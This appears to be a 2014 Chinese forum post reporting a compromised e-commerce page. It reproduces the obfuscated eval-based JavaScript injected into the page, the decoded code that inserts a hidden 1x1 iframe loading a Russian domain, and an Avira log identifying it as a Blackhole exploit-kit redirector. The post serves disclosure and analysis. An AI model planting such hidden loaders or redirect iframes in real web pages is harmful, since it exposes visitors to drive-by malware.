裏面

显示全部楼层 · 发表于 2014-1-20 06:36:42

http://www.closeoutandoverstock.com/index.php?option=com_virtuemart&amp;amp;Itemid=

复制代码

/*ded509*/
e = eval;
v = "0x";
a = 0;
try {
a &= 2
} catch (q) {
a = 1
}
if (!a) {
try {
document.body ^= ~1;
} catch (q) {
a2 = "!"
}
z = "2d!6b!7a!73!68!79!6e!74!73!25!2d!2e!25!80!12!f!25!25!25!25!7b!66!77!25!6e!6f!25!42!25!69!74!68!7a!72!6a!73!79!33!68!77!6a!66!79!6a!4a!71!6a!72!6a!73!79!2d!2c!6e!6b!77!66!72!6a!2c!2e!40!12!f!12!f!25!25!25!25!6e!6f!33!78!77!68!25!42!25!2c!6d!79!79!75!3f!34!34!72!6a!71!6e!6f!6b!6a!78!33!77!7a!34!68!74!7a!73!79!36!3a!33!75!6d!75!2c!40!12!f!25!25!25!25!6e!6f!33!78!79!7e!71!6a!33!75!74!78!6e!79!6e!74!73!25!42!25!2c!66!67!78!74!71!7a!79!6a!2c!40!12!f!25!25!25!25!6e!6f!33!78!79!7e!71!6a!33!67!74!77!69!6a!77!25!42!25!2c!35!2c!40!12!f!25!25!25!25!6e!6f!33!78!79!7e!71!6a!33!6d!6a!6e!6c!6d!79!25!42!25!2c!36!75!7d!2c!40!12!f!25!25!25!25!6e!6f!33!78!79!7e!71!6a!33!7c!6e!69!79!6d!25!42!25!2c!36!75!7d!2c!40!12!f!25!25!25!25!6e!6f!33!78!79!7e!71!6a!33!71!6a!6b!79!25!42!25!2c!36!75!7d!2c!40!12!f!25!25!25!25!6e!6f!33!78!79!7e!71!6a!33!79!74!75!25!42!25!2c!36!75!7d!2c!40!12!f!12!f!25!25!25!25!6e!6b!25!2d!26!69!74!68!7a!72!6a!73!79!33!6c!6a!79!4a!71!6a!72!6a!73!79!47!7e!4e!69!2d!2c!6e!6f!2c!2e!2e!25!80!12!f!25!25!25!25!25!25!25!25!69!74!68!7a!72!6a!73!79!33!7c!77!6e!79!6a!2d!2c!41!69!6e!7b!25!6e!69!42!61!2c!6e!6f!61!2c!43!41!34!69!6e!7b!43!2c!2e!40!12!f!25!25!25!25!25!25!25!25!69!74!68!7a!72!6a!73!79!33!6c!6a!79!4a!71!6a!72!6a!73!79!47!7e!4e!69!2d!2c!6e!6f!2c!2e!33!66!75!75!6a!73!69!48!6d!6e!71!69!2d!6e!6f!2e!40!12!f!25!25!25!25!82!12!f!82!2e!2d!2e!40".split(a2);
s = "";
for (i = 0; i < z.length; i++) {
s += String.fromCharCode(e(v + (z[i])) - 5);
}
zaz = s;
e(zaz);
} /*/ded509*/

复制代码

(function() {
var snb = document.createElement('iframe');
snb.src = 'http://melijfes.ru/count15.php';
snb.style.position = 'absolute';
snb.style.border = '0';
snb.style.height = '1px';
snb.style.width = '1px';
snb.style.left = '1px';
snb.style.top = '1px';
if (!document.getElementById('snb')) {
document.write('<div id=\'snb\'></div>');
document.getElementById('snb').appendChild(snb);
}
})();

复制代码

Avira

2014/1/20 上午 06:30 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\6TI8XMAJ\index[1].htm'
   包含病毒或有害的程式 'JS/BlacoleRef.CZ.7' [virus]
   已採取動作：
   發生錯誤，檔案未刪除。錯誤識別碼：26003.
   檔案無法刪除！.
   嘗試使用 ARK 程式庫執行動作.
   檔案會移動至 '42faeab9.qua' 名稱底下的隔離區目錄!

2014/1/20 上午 06:30 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描.]。
   檔案數： 794
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2014/1/20 上午 06:29 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\6TI8XMAJ\index[1].htm 中
   偵測到病毒或有害的程式 'JS/BlacoleRef.CZ.7 [virus]'
   執行的動作：傳輸至掃描程式

2014/1/20 上午 06:29 [Web Protection] 已停用 Web Protection
   服務已停用

2014/1/20 上午 06:28 [Web Protection] 封鎖的網頁
   URL
   (http://closeoutandoverstock.com/index.php?option=com_virtuemart&Itemid=&vmc
   chk=1) 的評估結果為惡意程式碼，而遭到封鎖.

fs is

[已鉴定] 裏面